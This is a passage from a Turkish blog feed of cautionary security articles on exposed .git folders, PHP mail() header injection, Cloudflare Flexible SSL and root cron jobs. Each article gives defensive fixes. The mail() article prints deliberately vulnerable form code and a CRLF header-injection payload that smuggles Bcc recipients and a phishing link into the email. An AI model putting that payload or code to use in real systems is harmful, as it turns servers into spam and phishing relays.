<pre><code class="language-bash">git log -p
</code></pre>
<p>Ve üç ay önceki bir commit'te geliştiricinin yazdığı şu mesaj ve kod karşısına çıkar:</p>
<pre><code class="language-text">commit 8492a1b948c2...
Author: Ahmet &#x3C;ahmet@sirket.com>
Date:   Wed Dec 10 2025

    fix: test veritabanı şifresi kaldırıldı canlıya geçildi

- $db_pass = "SirketKritikParola2026!";
+ $db_pass = env('DB_PASSWORD');
</code></pre>
<p>Yazılımcının "sildim" sandığı o veritabanı kök parolası, AWS S3 erişim anahtarları, Stripe ve İyzico gizli API token'ları Git tarihçesinde tüm çıplaklığıyla parıldamaktadır!</p>
<p>Ertesi sabah şirket veritabanı fidye yazılımcıları tarafından boşaltılır, müşteri kredi kartları dark web'e saçılır ve şirketin kapısına KVKK ve siber suçlar müfettişleri dayanır.</p>
<h3>Cerrahi Güvenlik: .git Klasörünü Mühürleme Protokolü</h3>
<p>Kaynak kodlarınızın sokağa saçılmasını engellemek, tıp dilindeki "hasta dosyasını çelik kasaya kilitlemek" kadar basit ve vazgeçilmez bir reflekstir:</p>
<ol>
<li><strong>Web Sunucusu Seviyesinde Tam Blokaj (Nginx):</strong><br>
Tüm Nginx sunucu bloklarınıza (<code>nginx.conf</code>) şu kuralı ekleyin; adı nokta ile başlayan tüm gizli dosya ve klasörlere erişimi kökünden yasaklayın:
<pre><code class="language-nginx"># Gizli dosyalara (.git, .env, .htaccess) erişimi anında kes!
location ~ /\. {
    deny all;
    access_log off;
    log_not_found off;
    return 404;
}
</code></pre>
</li>
<li><strong>Apache <code>.htaccess</code> ile Kapıyı Kilitlemek:</strong>
<pre><code class="language-apache"># .git dizinine doğrudan erişimi engelle
RedirectMatch 404 /\.git
</code></pre>
</li>
<li><strong>Web Kök Dizini Ayrımı (En Temiz Mimari):</strong><br>
Modern framework'lerde (Laravel, Symfony, Django, Rails) proje kök dizini ile web kök dizini birbirinden ayrıdır. Git reposunu <code>/home/user/proje/</code> dizinine kurun; web sunucusunun Document Root'unu ise sadece <code>/home/user/proje/public/</code> olarak ayarlayın. Böylece <code>.git</code> klasörü webden erişilebilir alanın tamamen dışında kalır; isteseniz bile internetten açılamaz!</li>
<li><strong>Dağıtım (Deploy) Sırasında <code>.git</code> Dizinini Temizlemek:</strong><br>
Eğer geleneksel bir rsync veya deploy betiği kullanıyorsanız, sunucuya aktarırken <code>.git</code> dizinini hariç tutun:
<pre><code class="language-bash">rsync -avz --exclude='.git' --exclude='.env.example' ./ user@sunucu:/var/www/html/
</code></pre>
</li>
</ol>
<p>Hasta dosyasını sokak panosuna asan hekime nasıl güvenilemezse; <code>.git</code> klasörünü <code>public_html</code> içine bırakıp internete açık sergileyen geliştiriciye de mühendis denilemez. Kaynak kodlarınız şirketinizin entelektüel sermayesi ve dijital kalesidir; o kalenin arka kapısını ardına kadar açık bırakırsanız, faturayı sadece kendinize değil, size güvenen binlerce müşterinize de ödetirsiniz.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Git</category>
            <category>Siber Güvenlik</category>
            <category>Kaynak Kod</category>
            <category>Veri Sızıntısı</category>
            <category>Nginx</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/gelistiricinin-sunucuya-git-klasorunu-unutup-yuklemesi-kaynak-kodlarin-ifsasi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["PHP mail() Fonksiyonu İle E-Posta Gönderme Israrı" ve Spambot İstilası]]></title>
            <link>http://localhost:3000/blog/post/php-mail-fonksiyonu-ile-e-posta-gonderme-israri-ve-spambot-istilasi</link>
            <guid>php-mail-fonksiyonu-ile-e-posta-gonderme-israri-ve-spambot-istilasi</guid>
            <pubDate>Wed, 11 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[SMTP kimlik doğrulaması yerine ilkel PHP mail() fonksiyonuna sığınan tembel yazılımcının, e-posta başlık enjeksiyonu (Header Injection) açığı yüzünden sunucusunu Rus spambotlarının zombi rölesine çevirmesi ve IP karantinası.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/php-mail-fonksiyonu-ile-e-posta-gonderme-israri-ve-spambot-istilasi/thumbnail" alt=""> Travmatoloji ve acil cerrahi servislerinde yara bakımının en temel ilkesi steril pansuman ve doku izolasyonudur. Derin bir kesisi olan hastayı ameliyat ettikten sonra yaranın üzeri steril gazlı bezle kapatılır, elastik bandajla sarılır ki sokaktaki toz, kir ve mikroplar açık dokuyla temas etmesin.</p>
<p>Şimdi sorumsuz bir sağlık personelinin şu mantıkla hareket ettiğini düşünün: <em>"Bandaj sarmakla kim uğraşacak? İlaç kutusunu aç, sargı bezini bağla, çok zahmetli! Yaranın ağzını açık bırakalım, hava alsın kurusun gitsin!"</em></p>
<p>Hasta o açık, kanayan yarayla tozlu sokağa çıkar. İki gün sonra yaranın üzerine sinekler konar, parazit larvaları yerleşir; yara kurtlanır (miyazis) ve hasta ağır bir kan zehirlenmesiyle (sepsis) acile geri döner. Tembellik yüzünden sarılmayan o tek bandaj, hastanın tüm bedenini bir enfeksiyon çöplüğüne çevirmiştir.</p>
<p>Web yazılımı geliştirme dünyasında da yazılımcıların "üşengeçlikten" dolayı yaptığı ve sunucuları dakikalar içinde bir siber suç makinesine dönüştüren en tehlikeli ilkel alışkanlık tam olarak bu açık yara sendromudur: <strong>SMTP kimlik doğrulaması yerine çıplak PHP <code>mail()</code> fonksiyonunu kullanmakta ısrar etmek.</strong></p>
<h3>"Alt Tarafı Bir İletişim Formu, Ne Gerek Var SMTP'ye?"</h3>
<p>Bir emlakçının, kuaförün veya kurumsal şirketin web sitesi... Sitede basit bir "Bize Ulaşın" formu vardır:</p>
<ul>
<li>Adınız Soyadınız</li>
<li>E-Posta Adresiniz</li>
<li>Mesajınız</li>
</ul>
<p>Projeyi teslim eden serbest yazılımcı, arka planda e-posta gönderim kodunu yazacaktır. Modern dünyanın standardı bellidir: PHPMailer, Symfony Mailer veya SwiftMailer kütüphanesini Composer ile dahil etmek; sunucunun SMTP bilgilerini (Host, Port 587, Kullanıcı Adı, Şifre, TLS) tanımlamak ve güvenli bir soket üzerinden mektubu postalamak.</p>
<p>Fakat bizim yazılımcımız o meşhur kestirmeci refleksi gösterir:<br>
<em>"Aman canım alt tarafı 'Mesajınız alındı' diyecek, kütüphaneyle, şifreyle, SMTP portuyla kim uğraşacak? PHP'nin kendi <code>mail()</code> fonksiyonu var ya, tek satırda atarım!"</em></p>
<p>Kodun arkasına şu ilkel iki satırı yapıştırır:</p>
<pre><code class="language-php">&#x3C;?php
// Tembel yazılımcının açık yarası:
$to = "info@sirketadi.com";
$subject = "Web Sitesinden Yeni Mesaj: " . $_POST['ad'];
$message = $_POST['mesaj'];
$headers = "From: " . $_POST['email'];

mail($to, $subject, $message, $headers);
?>
</code></pre>
<p>Geliştirici testi yapar. Kendi adını yazar, mesaja <em>"Test"</em> yazar, gönderir. Şirketin gelen kutusuna mail düşer. Geliştirici gülümser: <em>"İşte bitti, çalışıyor!"</em></p>
<p>Oysa o form, internetin vahşi kurtlarına ardına kadar açılmış açık bir yaradır.</p>
<h3>Header Injection: Formun Hacklenişi</h3>
<p>İnternette 7/24 web sitelerindeki iletişim formlarını tarayan otonom Rus ve Çin spambotları bu formu 48 saat içinde keşfeder.</p>
<p>Bot formun kaynak koduna bakar; ne bir CSRF güvenlik token'ı vardır, ne bir Google reCAPTCHA/Turnstile kalkanı, ne de sunucu tarafında veri sterilizasyonu (sanitization)!</p>
<p>Bot, formdaki "E-Posta Adresiniz" kutucuğuna sıradan bir e-posta yazmaz. O kutucuğun içine şu zehirli enjeksiyonu (<code>Email Header Injection</code>) enjekte eder:</p>
<pre><code class="language-text">kurban@gmail.com\r\n
Bcc: hedef1@yahoo.com, hedef2@hotmail.com, hedef3@outlook.com ... (ve 500 adres daha!)\r\n
Content-Type: text/html\r\n\r\n
&#x3C;h1>BEDAVA KRİPTO KAZANIN! TIKLAYIN: http://sahte-link.xyz&#x3C;/h1>
</code></pre>
<p>PHP'nin o ilkel <code>mail()</code> fonksiyonu, <code>\r\n</code> (satır başı) karakterlerini gördüğü an HTTP başlık protokolünü işletir. Kullanıcının gönderdiği adresi bir e-posta değil, yeni bir e-posta başlığı kabul eder!</p>
<p>O Bcc satırına gizlenmiş 500 adet yabancı adrese, korsanın hazırladığı sahte phishing mesajı eklenir.</p>
<p>Bot bu formu bir döngüye sokar; saniyede <strong>50 kez</strong> formu submit eder!</p>
<h3>Sunucunun Spam Zombisine Dönüşmesi</h3>
<p>Dakikalar içinde sunucunun MTA servisi olan Exim veya Postfix'e tam <strong>25.000 adet sahte spam e-posta</strong> yığılır!</p>
<p>Sunucu bu mailleri kimden çıkmış gibi gönderir?<br>
<code>nobody@sunucu.hostingfirmasi.com</code> veya <code>apache@sunucu.localdomain</code>!</p>
<p>Yani e-postanın göndericisi doğrudan sunucunun işletim sistemidir!</p>
<p>15 dakika sonra küresel e-posta dünyasında kıyamet kopar:</p>
<ol>
<li><strong>IP İdamı:</strong> Sunucu IP adresi dünya genelindeki tüm antispam kuruluşları (<strong>Spamhaus SBL/CSS, Barracuda, Invaluement</strong>) tarafından anında "Aktif Spam Zombisi" olarak işaretlenir.</li>
<li><strong>Kuyruk Tıkanması:</strong> Sunucudaki diğer tüm masum sitelerin e-postaları 25 binlik bu sahte kuyruğun arkasında kilitlenir.</li>
<li><strong>Veri Merkezi Tehdidi:</strong> Veri merkezinin NOC ekibi, sunucudan çıkan bu devasa spam selini görünce hosting firmasına acil ihlal bildirimi (Abuse Notice) çeker: <em>"Sunucunuzdan dışarıya masif spam çıkışı tespit edildi, 30 dakika içinde durdurmazsanız sunucunuzun kabinet fişini çekeceğiz!"</em></li>
</ol>
<p>Nöbetçi sistem yöneticisi sunucuya koşar; Exim kuyruğunu temizler, <code>php.ini</code> içindeki <code>disable_functions</code> satırına <code>mail</code> fonksiyonunu ekleyerek kapıyı kilitler ve müşterinin hesabını askıya alır.</p>
<h3>SMTP Neden Bir Lüks Değil, Bir Zorunluluktur?</h3>
<p>PHP'nin yerel <code>mail()</code> fonksiyonu, 1990'lı yılların güvenli, spam olmayan küçük interneti için tasarlanmıştı. Günümüzün acımasız siber dünyasında kimlik doğrulaması olmadan e-posta göndermek intihardır.</p>
<p>E-posta formlarında uyulması gereken asgari güvenlik hijyeni şunlardır:</p>
<ol>
<li><strong>Daima Yetkili SMTP Kullanın (SMTP Authentication):</strong> Asla çıplak <code>mail()</code> kullanmayın. Kodunuzda PHPMailer gibi standart kütüphaneler kullanarak sunucuda açılmış gerçek bir e-posta hesabıyla (<code>iletisim@sirketadi.com</code>) ve şifresiyle oturum açarak mail gönderin:
<pre><code class="language-php">$mail = new PHPMailer(true);
$mail->isSMTP();
$mail->Host = 'mail.sirketadi.com';
$mail->SMTPAuth = true;
$mail->Username = 'iletisim@sirketadi.com';
$mail->Password = 'GucluParola2026!';
$mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
$mail->Port = 587;
</code></pre>
</li>
<li><strong>Başlık Temizliği ve Doğrulama:</strong> Formdan gelen verileri asla doğrudan başlığa koymayın. E-posta alanına girilen metni <code>filter_var($email, FILTER_VALIDATE_EMAIL)</code> fonksiyonundan geçirin; içinde <code>\r</code> veya <code>\n</code> karakterleri varsa işlemi anında kırın.</li>
<li><strong>Bot Kalkanı Zorunluluğu (Cloudflare Turnstile):</strong> Formun önüne mutlaka görünmez bir bot doğrulama kalkanı (Turnstile veya hCaptcha) koyun. İnsan olmayan hiçbir botun formu tetiklemesine izin vermeyin.</li>
<li><strong>Sunucuda <code>disable_functions</code> ile Kapatmak:</strong> Sistem yöneticisiyseniz, paylaşımlı sunucularınızda <code>php.ini</code> üzerinden yerel <code>mail</code> fonksiyonunu tamamen devre dışı bırakın (<code>disable_functions = mail</code>). Müşterilerinizi SMTP kullanmaya zorlayın; böylece tek bir tembel yazılımcının tüm sunucuyu yakmasını engellersiniz.</li>
</ol>
<p>Bandaj sarmaya üşenip hastanın yarasını kurtlandıran acemi sağlıkçı nasıl meslekten men edilmeyi hak ediyorsa; SMTP yazmaya üşenip sunucuyu spam zombisi yapan yazılımcı da o kara liste faturasını ödemeye mahkûmdur. Mühendislik, kolay olanı değil; doğru, güvenli ve sürdürülebilir olanı inşa etme disiplinidir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>PHP</category>
            <category>mail()</category>
            <category>SMTP</category>
            <category>Spam</category>
            <category>Siber Güvenlik</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/php-mail-fonksiyonu-ile-e-posta-gonderme-israri-ve-spambot-istilasi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Cloudflare Flexible SSL Modu" ve Sunucu Tarafı Güvenlik İllüzyonu]]></title>
            <link>http://localhost:3000/blog/post/cloudflare-flexible-ssl-modu-ve-sunucu-tarafi-guvenlik-illuzyonu</link>
            <guid>cloudflare-flexible-ssl-modu-ve-sunucu-tarafi-guvenlik-illuzyonu</guid>
            <pubDate>Tue, 10 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Cloudflare panelinden tek tıkla "Flexible SSL" açıp tarayıcıdaki yeşil kilidi görünce kendini zırhlı kalede sanan yöneticinin, Cloudflare ile sunucu arasındaki trafiğin şifresiz HTTP (80) akması yüzünden yaşadığı veri sızıntısı ve MITM tuzağı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/cloudflare-flexible-ssl-modu-ve-sunucu-tarafi-guvenlik-illuzyonu/thumbnail" alt=""> Modern ameliyathanelerde sterilizasyon bir bütündür; parçalı veya "göz boyayan" bir hijyen tıp etiğinde doğrudan cinayetle eşdeğerdir. Şimdi gözünüzün önüne akıl almaz bir cerrahi gösteri getirin: Cerrah, ameliyathanenin camından kendisini izleyen hasta yakınlarına el sallar. Ellerinde otoklavdan yeni çıkmış steril cerrahi eldivenler, başında steril bone, yüzünde çift katlı cerrahi maske vardır. Dışarıdan bakan aile <em>"Doktorumuz ne kadar titiz, her şey pırıl pırıl"</em> diyerek sevinir.</p>
<p>Fakat camın arkasındaki o ameliyat masasının altına baktığınızda dehşet verici bir manzara görürsünüz: Hastanın açık göğüs kafesine kan pompalayan kalp-akciğer makinesinin hortumları, hastanenin bodrumundaki kanalizasyon borularının içinden geçmektedir! Hortumun ek yerleri sızdırmakta, açık yaranın içine kanalizasyon mikropları dolmaktadır. Cerrahın ellerindeki o steril eldivenin, arkadaki bu pislik karşısında hiçbir koruyuculuğu yoktur; hasta üç gün sonra masif sepsisten can verir. Göz boyayan sterilizasyon, ölümcül bir yalandır.</p>
<p>Web güvenliği ve modern internet mimarisinde her gün milyonlarca web sitesinin kullanıcılarını kandırdığı en büyük dijital vitrin yalanı tam olarak bu eldivenli cerrah illüzyonudur: <strong>Cloudflare "Flexible SSL" modu.</strong></p>
<h3>Tek Tıkla Gelen Yeşil Kilit: Tembelliğin Zaferi</h3>
<p>Bir e-ticaret sitesi, sağlık kliniği veya kurumsal portal... Sitenin sunucusunda geçerli bir SSL sertifikası yoktur; çünkü site sahibi sunucuya Let's Encrypt kurmayı bilmemektedir veya satın almak istememektedir.</p>
<p>Site sahibi Cloudflare hesabı açar. Alan adının DNS kayıtlarını devreye alır. "SSL/TLS" sekmesine tıklar. Karşısına dört seçenek çıkar:</p>
<ul>
<li>Off (Kapalı)</li>
<li><strong>Flexible (Esnek)</strong></li>
<li>Full (Tam)</li>
<li>Full (Strict) (Tam ve Katı)</li>
</ul>
<p>Kullanıcı "Flexible" seçeneğinin açıklamasını okur: <em>"Kök sunucunuzda SSL sertifikası olmasına gerek yoktur. Ziyaretçileriniz sitenizi HTTPS olarak görür."</em></p>
<p>Kullanıcının gözleri parlar: <em>"Harika bir icat! Sunucuda sertifika kurma zahmetinden kurtuldum, tek tıkla yeşil kilidi aldım!"</em></p>
<p>Flexible modu seçilir. Tarayıcı açılır: <code>https://sirketadi.com.tr</code>.</p>
<p>Adres çubuğunda o kutsal, asil asma kilit simgesi pırıl pırıl parlamaktadır. Site sahibi göğsünü kabartarak sosyal medyada paylaşır: <em>"Sitemiz 256-bit banka düzeyinde SSL ile şifrelenmiştir!"</em></p>
<p>Oysa o anda internetin en büyük güvenlik sahtekarlığı sahnelenmektedir.</p>
<h3>Perdenin Arkasındaki Çıplak Boru: HTTP Port 80</h3>
<p>Flexible SSL modunun arka planda ne yaptığını şematik olarak çizdiğinizde, o kanalizasyon borusuyla karşılaşmak kaçınılmazdır:</p>
<pre><code class="language-text">[ Ziyaretçi ]  ======= (HTTPS: Şifreli / Güvenli) ======>  [ Cloudflare ]
                                                                 |
                                                                 | (Şifresiz Açık Hat!)
                                                                 v
[ Kök Sunucu (Origin) ]  &#x3C;--- (Düz HTTP / Port 80: ÇIPLAK METİN) ---+
</code></pre>
<p>Farkında mısınız?</p>
<p>Ziyaretçinin tarayıcısı ile Cloudflare arasındaki o ilk 10-20 metrelik hat şifrelidir. Tarayıcı yeşil kilidi basar; çünkü Cloudflare'e bağlanmıştır.</p>
<p>Fakat Cloudflare, kullanıcının girdiği kredi kartı bilgilerini, oturum şifrelerini ve kişisel verileri paketleyip sizin Almanya'daki, Fransa'daki veya İstanbul'daki kök sunucunuza aktarırken; <strong>tamamen şifresiz, düz metin (Clear-Text HTTP Port 80)</strong> üzerinden fırlatır!</p>
<p>İki nokta arasındaki o binlerce kilometrelik uluslararası fiber hatlarda, kıtalararası denizaltı kablolarında, transit internet servis sağlayıcılarının (Türk Telekom, Telia, Cogent) yönlendiricilerinde ve veri merkezinin anahtarlarında (switch) o veri çırılçıplak akar!</p>
<h3>Ortadaki Adam (Man-in-the-Middle) ve BGP Hijacking</h3>
<p>Bir siber korsan veya istihbarat servisi, kullanıcının evindeki Wi-Fi ağını dinlemek zorunda değildir. Veri merkezinin yerel ağında, aynı kabinetteki bir sunucuda veya transit telekom operatörünün yönlendiricisinde pasif bir ağ dinleme (Network Sniffing / Wireshark) aracı koşturan bir saldırgan; o Cloudflare ile sunucu arasındaki şifresiz hattı izlediğinde şunları açık metin olarak görür:</p>
<pre><code class="language-http">POST /odeme-tamamla HTTP/1.1
Host: sirketadi.com.tr
Content-Type: application/x-www-form-urlencoded

kart_sahibi=Ahmet+Yilmaz&#x26;kart_no=4543123456789012&#x26;cvv=412&#x26;son_kullanma=12/28
</code></pre>
<p>Kullanıcı tarayıcısındaki yeşil kilide güvenerek kredi kartını girmiştir; fakat Flexible SSL illüzyonu yüzünden kart bilgileri internetin otobanında megafonla anons edilmiştir!</p>
<p>Üstelik BGP Hijacking veya DNS zehirlemesi yapan bir saldırgan, Cloudflare ile kök sunucu arasına girip web sayfasının içine zararlı JavaScript kodları enjekte edebilir; çünkü o bacakta hiçbir kriptografik bütünlük doğrulaması (integrity check) yoktur!</p>
<h3>Cerrahi Güvenlik: Full (Strict) Standardı</h3>
<p>Gerçek bir mühendislik ahlakında ve PCI-DSS (Kredi Kartı Güvenlik Standardı) kurallarında "Flexible SSL" bir güvenlik özelliği değil; kabul edilemez bir tasarım hatasıdır. Uçtan uca gerçek bir şifreleme zinciri kurmanın standart protokolü şudur:</p>
<ol>
<li><strong>Kök Sunucuya Asla Şifresiz İzin Vermeyin:</strong> Kök sunucunuza (Origin Server) mutlaka ücretsiz bir Let's Encrypt sertifikası veya Cloudflare'in sunduğu ücretsiz <strong>Origin CA Certificate (15 yıllık kök sertifika)</strong> kurun.</li>
<li><strong>Cloudflare Modunu "Full (Strict)" Yapın:</strong><br>
Cloudflare paneline girin ve modu derhal <strong>"Full (Strict)"</strong> seviyesine getirin!
<ul>
<li><em>Full (Strict) modunun anlamı şudur:</em> Cloudflare, kök sunucunuza bağlanırken mutlaka HTTPS (Port 443) kullanır ve sunucunuzun sunduğu sertifikanın geçerli, güvenilir bir otorite tarafından imzalandığını doğrular. Uçtan uca tek bir bayt bile açık metin olarak akmaz!</li>
</ul>
</li>
<li><strong>Port 80'i Dış Dünyaya Mühürleyin:</strong> Kök sunucunuzun güvenlik duvarında (iptables/CSF) Port 80'i kapatın veya doğrudan Port 443'e yönlendirin. Sunucunuz sadece şifreli bağlantıları kabul etsin.</li>
<li><strong>Cloudflare Authenticated Origin Pulls (AOP):</strong> Sunucunuza sadece ve sadece Cloudflare'in TLS istemci sertifikasıyla gelen bağlantılara yanıt vermesini söyleyen AOP özelliğini açın. Böylece saldırganlar sunucunuzun gerçek IP'sini bulsa bile şifresiz kapıdan içeri sızamaz.</li>
</ol>
<p>Elindeki steril eldivenle övünüp açık yarayı lağıma bağlayan cerrah nasıl bir tıp sahtekârıysa; Flexible SSL açıp tarayıcıdaki yeşil kilitle övünen yönetici de öyle bir güvenlik körlüğü içindedir. Kriptografi vitrin süsü değildir; uçtan uca, kaynaktan hedefe kadar tek bir halkanın bile kopmadığı kırılmaz bir çelik zincirdir. Zincirin yarısı yoksa, güvenliğin tamamı bir yalandan ibarettir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Cloudflare</category>
            <category>SSL</category>
            <category>Flexible SSL</category>
            <category>Siber Güvenlik</category>
            <category>Ağ Güvenliği</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/cloudflare-flexible-ssl-modu-ve-sunucu-tarafi-guvenlik-illuzyonu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Sunucuda root İle Çalıştırılan Cron Job'lar" ve Dosya İzinleri (Permission) Kaosu]]></title>
            <link>http://localhost:3000/blog/post/sunucuda-root-ile-calistirilan-cron-joblar-ve-dosya-izinleri-permission-kaosu</link>
            <guid>sunucuda-root-ile-calistirilan-cron-joblar-ve-dosya-izinleri-permission-kaosu</guid>
            <pubDate>Mon, 09 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Arka plan görevlerini ve önbellek oluşturma scriptlerini "hata vermesin" diye doğrudan root kullanıcısıyla çalıştıran sistemcinin, sabah web sunucusunun (www-data) o dosyalara erişemeyerek tüm siteyi 500 hatasına boğması.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sunucuda-root-ile-calistirilan-cron-joblar-ve-dosya-izinleri-permission-kaosu/thumbnail" alt=""> Hastanelerin idari hiyerarşisinde görev dağılımı ve yetki sınırları hayati bir düzen üzerine kuruludur. Bir hastanenin başhekimi, poliklinik koridorlarının zeminini paspaslamak için eline vileda kovasını almaz.</p>
<p>Şimdi gözünüzün önüne absürt bir başhekim getirin: Gece yarısı <em>"Temizlikçiler bu işi beceremez, ben en yetkili kişiyim, bütün hastaneyi kendi ellerimle temizleyeceğim"</em> diyerek odasından çıkıyor. Ameliyat önlüğünü giyiyor, yerleri paspaslıyor. Ancak başhekimin bir takıntısı vardır: Paspasladığı her muayene odasının, ecza deposunun ve ameliyathane kapısının kilidine kendi özel başhekimlik çelik mührünü vuruyor!</p>
<p>Sabah saat 08:30'da nöbetçi hekimler, hemşireler ve hastalar polikliniğe gelir. Muayene odalarının kapı koluna yapışırlar: Kilitli! Başhekimlik çelik mührü vardır; hekimlerin veya hemşirelerin anahtarı o kapıyı açamaz. Tüm hastanede poliklinikler durur, ameliyatlar iptal edilir; çünkü başhekim aşırı yetkisiyle yerleri temizlemiş ama arkasındaki tüm kapıları sıradan personelin yüzüne kilitlemiştir!</p>
<p>Linux sunucu yönetiminde ve sistem mimarisinde her hafta yüzlerce web uygulamasını sabahın erken saatlerinde felç eden en büyük operasyonel basiretsizlik tam olarak bu başhekim mühürlemesi faciasıdır: <strong>Uygulama düzeyindeki Cron Job'ları (zamanlanmış görevleri) doğrudan sunucunun <code>root</code> kullanıcısıyla çalıştırmak.</strong></p>
<h3>Gece 03:00: "root Yetkisi Verelim de Sorun Çıkmasın"</h3>
<p>Bir Laravel, WordPress veya özel PHP tabanlı e-ticaret sitesi... Sistemde arka planda yapılması gereken rutin işler vardır:</p>
<ul>
<li>Eski önbellek dosyalarını temizlemek (<code>cache:clear</code>),</li>
<li>Ürün görsellerinden yeni webp türevleri üretmek,</li>
<li>Arama motorları için sitemap XML dosyası derlemek,</li>
<li>Süresi dolmuş kullanıcı oturumlarını (sessions) süpürmek.</li>
</ul>
<p>Sistemi kuran geliştirici veya acemi sistem yöneticisi SSH ile sunucuya root olarak bağlanır. Terminale şu komutu yazar:</p>
<pre><code class="language-bash">crontab -e
</code></pre>
<p>Yani sistemin en kutsal, en sınırsız kullanıcısı olan <strong><code>root</code></strong> kullanıcısının zamanlanmış görev tablosunu açar. Ve dosyanın içine şu görevi ekler:</p>
<pre><code class="language-bash"># Her gece 03:00'te sitemap ve önbellek yenile:
0 3 * * * /usr/bin/php /var/www/html/artisan schedule:run > /dev/null 2>&#x26;1
</code></pre>
<p>Geliştirici kendi kendine o meşhur amatör gerekçeyi sunar: <em>"root ile çalıştırayım ki izin hatası (Permission Denied) falan almasın, tıkır tıkır çalışsın!"</em></p>
<p>İlk bakışta her şey kusursuz görünür. Gece saat 03:00 olur; cron tetiklenir, PHP scripti çalışır ve görev başarıyla tamamlanır.</p>
<p>Fakat arka planda, başhekim o ölümcül çelik mührü tüm kapıların üzerine vurmuştur!</p>
<h3>Linux Sahiplik Tuzağı: <code>root:root</code> İstilası</h3>
<p>Linux dosya sisteminde değişmez bir fizik kuralı vardır: <strong>Bir dosyayı hangi kullanıcı oluşturduysa, o dosyanın sahibi (Owner) ve grubu (Group) o kullanıcıya ait olur!</strong></p>
<p>Cron görevi <code>root</code> yetkisiyle çalıştığı için:</p>
<ol>
<li>Oluşturulan yeni log dosyası: <code>/var/www/html/storage/logs/laravel.log</code> -> <strong>Sahibi: <code>root:root</code> (İzin: <code>0644</code> veya <code>0600</code>)</strong></li>
<li>Oluşturulan yeni önbellek dizini: <code>/var/www/html/bootstrap/cache/</code> -> <strong>Sahibi: <code>root:root</code></strong></li>
<li>Yenilenen sitemap dosyası: <code>/var/www/html/public/sitemap.xml</code> -> <strong>Sahibi: <code>root:root</code></strong></li>
</ol>
<p>İşte felaketin tohumu tam burada filizlenir!</p>
<h3>Sabah 08:30: Web Sunucusunun Duvara Toslaması</h3>
<p>Sabah mesaisi başlar. İlk ziyaretçi web sitesine girer: <code>sirketadi.com</code>.</p>
<p>Ziyaretçiyi kapıda web sunucusu karşılar: Nginx veya Apache. Web sunucusu güvenlik gereği asla <code>root</code> yetkisiyle çalışmaz; izole edilmiş, kısıtlı bir servis kullanıcısıyla çalışır: <strong><code>www-data</code></strong> veya <strong><code>nobody</code></strong>.</p>
<p>Ziyaretçi sayfayı açtığında uygulama PHP kodu üzerinden bir log satırı yazmak ister: <em>"Kullanıcı ana sayfaya girdi."</em></p>
<p><code>www-data</code> kullanıcısı eline kalemi alır, <code>/storage/logs/laravel.log</code> dosyasına yazmaya kalkar.</p>
<p>Ve Linux çekirdeği (Kernel) tokadı indirir:</p>
<pre><code class="language-text">The stream or file "/var/www/html/storage/logs/laravel.log" could not be opened: 
failed to open stream: Permission denied
</code></pre>
<p>İşletim sistemi der ki: <em>"Hop dur bakalım! Bu dosyanın sahibi root'tur ve sadece root yazabilir! Sen zavallı bir www-data kullanıcısısın, bu dosyaya tek bir harf bile yazamazsın!"</em></p>
<p>Uygulama log dosyasına yazamadığı için panikler; hata fırlatmak ister ama hata günlüğüne de yazamadığı için sistem doğrudan <strong><code>500 Internal Server Error</code></strong> basarak komaya girer!</p>
<p>Sabah siteye giren binlerce müşteri bembeyaz bir ekranda 500 hatası görür. Şirket genel müdürü bilgi işlem sorumlusuna bağırır: <em>"Gece sitemize kim dokundu? Dün akşam çalışan site sabah nasıl çöker?"</em></p>
<p>Yazılımcı sunucuya girer; hakikaten koda kimse dokunmamıştır! Kod aynı koddur; fakat o gece çalışan root cron'u, uygulamanın kendi evindeki kapı kilitlerini değiştirmiştir.</p>
<h3>Hiyerarşik Düzen: Görevi Doğru Kullanıcıya Vermek</h3>
<p>Bir hastanede yerleri başhekimin değil temizlik görevlisinin paspaslaması gerektiği gibi; web uygulamasının görevlerini de root değil, <strong>o uygulamanın gerçek sahibi olan kullanıcı</strong> koşturmalıdır:</p>
<ol>
<li><strong>Uygulama Kullanıcısının Crontab'ını Kullanın:</strong><br>
Cron görevlerini asla <code>root</code> tablosuna yazmayın! Görevi doğrudan web sunucusu kullanıcısının (<code>www-data</code>) veya cPanel kullanıcısının (<code>firma</code>) crontab'ına tanımlayın:
<pre><code class="language-bash"># Ubuntu / Debian için www-data adına cron aç:
crontab -u www-data -e
# cPanel / CloudLinux için ilgili kullanıcı adına aç:
crontab -u firma -e
</code></pre>
Bu sayede cron çalıştığında üretilen tüm log ve önbellek dosyalarının sahibi otomatik olarak <code>www-data:www-data</code> olur; web sunucusu hiçbir izin engeline takılmadan dosyaları okur ve yazar.</li>
<li><strong>Eğer root İle Çalışmak Zorundaysa (Sahiplik Düzeltme):</strong><br>
Eğer script mutlaka root yetkisi gerektiren bir sistem göreviyse, scriptin en son satırına mutlaka sahiplikleri web kullanıcısına iade eden şu cerrahi dikişi ekleyin:
<pre><code class="language-bash">chown -R www-data:www-data /var/www/html/storage /var/www/html/bootstrap/cache
</code></pre>
</li>
<li><strong>UMASK Disiplini:</strong> Sunucu yapılandırmasında umask değerini (<code>umask 002</code>) doğru ayarlayarak, yeni oluşturulan dosyaların grup üyeleri tarafından da yazılabilir olmasını garanti altına alın.</li>
</ol>
